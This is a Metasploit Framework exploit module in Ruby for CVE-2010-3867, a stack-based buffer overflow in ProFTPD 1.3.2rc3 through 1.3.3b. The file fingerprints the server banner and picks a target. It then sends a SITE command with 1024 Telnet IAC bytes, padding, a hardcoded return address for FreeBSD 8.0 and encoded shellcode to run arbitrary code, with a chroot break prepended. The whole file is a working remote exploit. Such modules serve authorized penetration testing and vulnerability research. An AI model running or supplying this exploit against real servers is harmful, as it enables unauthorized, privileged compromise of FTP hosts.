## # $Id: proftp_telnet_iac.rb 10900 2010-11-04 18:12:11Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in versions of ProFTPD server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a large number of Telnet IAC commands, an attacker can corrupt memory and execute arbitrary code. }, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 10900 $', 'References' => [ ['CVE', '2010-3867'], #['OSVDB', ''], ['BID', '44562'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependChrootBreak' => true }, 'Privileged' => true, 'Payload' => { 'Space' => 4096, # NOTE: \xff's need to be doubled (per ftp/telnet stuff) 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => 'True', 'StackAdjustment' => -1500 }, 'Platform' => [ 'bsd' ], 'Targets' => [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # specific targets # [ 'ProFTPD 1.3.2a Server (FreeBSD 8.0)', { 'Offset' => 15, 'Ret' => 0xbfbfeac4, 'Readable' => 0xbfbfbfbf, } ], # # this one will detect the parameters automagicly # [ 'Debug', { 'Offset' => -1, 'Writable' => 0x41414242, # 'FlowHook' => 0x43434545 # } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 1 2010')) register_options( [ Opt::RPORT(21), ], self.class ) end def check # NOTE: We don't care if the login failed here... ret = connect # We just want the banner to check against our targets.. print_status("FTP Banner: #{banner.strip}") status = CheckCode::Safe if banner =~ /ProFTPD (1\.3\.[23][^ ])/i ver = $1 maj,min,rel = ver.split('.') relv = rel.slice!(0,1) case relv when '2' if rel.length > 0 if rel[0,2] == 'rc' if rel[2,rel.length].to_i >= 3 status = CheckCode::Vulnerable end else status = CheckCode::Vulnerable end end when '3' # 1.3.3+ defaults to vulnerable (until >= 1.3.3c) status = CheckCode::Vulnerable if rel.length > 0 if rel[0,2] != 'rc' and rel[0,1] > 'b' status = CheckCode::Safe end end end end disconnect return status end def exploit connect # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else print_status("No matching target") return end regexp = Regexp.escape(version) self.targets.each do |t| if (t.name =~ /#{regexp}/) then mytarget = t break end end if (not mytarget) print_status("No matching target") return end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") if banner print_status("FTP Banner: #{banner.strip}") end end #puts "attach and press any key"; bleh = $stdin.gets buf = '' buf << 'SITE ' buf << "\xff" * 1024 buf << rand_text_alphanumeric(mytarget['Offset']) buf << [ mytarget['Ret'], mytarget['Readable'] ].pack('VV') #buf << "\xcc" buf << payload.encoded #.gsub("\xff", "\xff\xff") buf << "\r\n" sock.put(buf) disconnect print_status("Your payload should have executed now...") handler end end